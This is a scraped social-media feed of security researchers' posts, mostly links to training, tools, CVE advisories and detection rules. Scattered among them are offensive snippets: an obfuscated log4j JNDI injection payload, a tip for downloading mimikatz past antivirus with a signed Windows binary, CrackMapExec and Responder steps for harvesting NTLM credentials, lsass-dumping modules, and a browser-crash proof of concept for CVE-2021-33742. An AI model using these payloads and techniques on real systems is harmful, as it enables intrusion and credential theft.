brezel

IT-Security, ArchLinux Enthusiast, More music..

[brezel @br3zel]

Great trainer and great content,
took the training and liked it A LOT!

[[email protected] / EDRmetry / PurpleLabs @cr0nym]

💥 2026 - here we go! I am excited to announce the release of "Linux Attack, Detection, and Live Forensics v2.0 - Hands-on Purple Teaming Playbook"! In this fully hands-on guide, I've leveled up the Linux-oriented purple teaming experience to bridge the gap between red and blue teams like never before:
- 💙 Focus on cutting-edge research and development of Linux offensive techniques -> empowering blue teams to understand and anticipate real-world Linux threats.
- ❤️ Dive into the detection perspective, explore corresponding events, telemetry, evidence, and chained detections -> giving red teams the insights to refine their Linux evasion strategies.
- 💜 Map it all to expected EDR/Runtime functionalities and DFIR processes, fostering true collaboration for purple teaming excellence.

The link is here: https://t.co/SUktIBXgHt

[brezel @br3zel]

CVE-2026-41651 — PackageKit TOCTOU ("Pack2TheRoot")
https://t.co/9f17fTGlHH

[Lukas Klein | @rantasec.bsky.social @RantaSec]

Check out GoLinHound:
- Discovers Linux & SSH attack paths
- Outputs OpenGraph JSON for BloodHound ingestion
- Integrates with SharpHound and AzureHound data to unveil cross-technology attack paths

https://t.co/HPh2xiiCzl

[Velociraptor @velocidex]

Watch the replay of VeloCON 2023 on our YouTube channel. You can relive the entire conference or watch any individual presentations you may have missed.

https://t.co/3yrHOYHAfc

[Niklaus Schiess @_takeshix]

My latest North Korea research with @martyn_williams is now publicly available: https://t.co/SdURXMxPj7 Also added it to the DB: https://t.co/HRCQcgvcZz

[brezel @br3zel]

@SadProcessor @falconforceteam Congrats!

[stypr @brokenpacifist]

${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

log4j bypass lol

Lessons learned: Don't use Java.

[diversenok @diversenok_zero]

Did you know that it is possible to read memory using a PROCESS_CREATE_PROCESS handle? Just call NtCreateProcessEx to clone the target process (and its entire address space), and then read anything you want from there.😎

[mpgn @mpgn_x64]

Lately, two new tools for dumping the lsass process have come up: HandleKatz and nanodump 👀

I've integrated them to CrackMapExec as module:
1⃣ -M handlekatz
2⃣ -M nanodump
3⃣ -M procdump (as bonus 😝)
(dmp parsed by pypykatz from @SkelSec )

Available on @porchetta_ind 🪂

[The Hacker's Choice (@[email protected]) @hackerschoice]

Threema does not have forward secrecy (https://t.co/WZKvpI6gx6) and local keys are stored insecurely. DROPPED from https://t.co/9O7m8Nq3XB. Stay safe. #privacy #COP26

[Elliot @ElliotKillick]

Need to go under the radar downloading #mimikatz (and other suspect payloads)? Then newly discovered #lolbin "C:\Windows\System32\Cmdl32.exe" (signed by MS) is for you. It's like a new certutil.exe but absolutely unheard of by any antivirus software!

[mpgn @mpgn_x64]

In case you want to see something cool about CrackMapExec and Responder 😌😋

1⃣ cme smb <ip> -u user -p pass --shares
2⃣ Responder -I eth0
3⃣ cme smb <ip> -u user -p pass -M slinky -o ...

Harvest ntlmv2/v1 credentials in no time if you have write access to a share 🔥

🪂

[Quarks @quarkswdr]

Erst ein krasses Tabu – und irgendwann empört sich keiner mehr. Dafür gibt's einen einfachen Trick. Aus aktuellem Anlass.

[Florian Roth ⚡️ @cyb3rops]

For a compromise assessment of #Exchange servers I recommend using our free THOR Lite scanner

We've added all rules & IOCs relevant to #ProxyShell exploitation & update them frequently

THOR Lite
https://t.co/gG1xDLRnjz

YARA rules
https://t.co/j6k4ydJd4i
https://t.co/pJiVhY0f10

[The Daily Swig @DailySwig]

ICYMI: Top hacks from Black Hat and DEF CON 2021 https://t.co/xmA02jzUUK

[Maximus @gladiatx0r]

I've published my first 'Gist' combining several well known techniques to accomplish Windows workstation takeover in a default Active Directory Configuration. SMB writeable shares are spicier than ever. 🌶️

https://t.co/feS1Cs6GaJ

[Walter.Legowski @SadProcessor]

Made a SharpHound Collection Cheat Sheet
and a little post to go with it...
#BloodHoundAD
https://t.co/7eXhoCTsBq

[Jonas L @jonasLyk]

yarh- for some reason on win11 the SAM file now is READ for users.
So if you have shadowvolumes enabled you can read the sam file like this:

I dont know the full extent of the issue yet, but its too many to not be a problem I think.

[Microsoft Security Response Center @msftsecresponse]

MSRC has release CVE-2021-34481 today.
https://t.co/WAmhJutmuN

[Ivan Fratric 💙💛 @ifsecure]

CVE-2021-33742 tweetable PoC:
<script>
var b = document.createElement("html");
b.innerHTML = Array(40370176).toString();
b.innerHTML = "";
</script>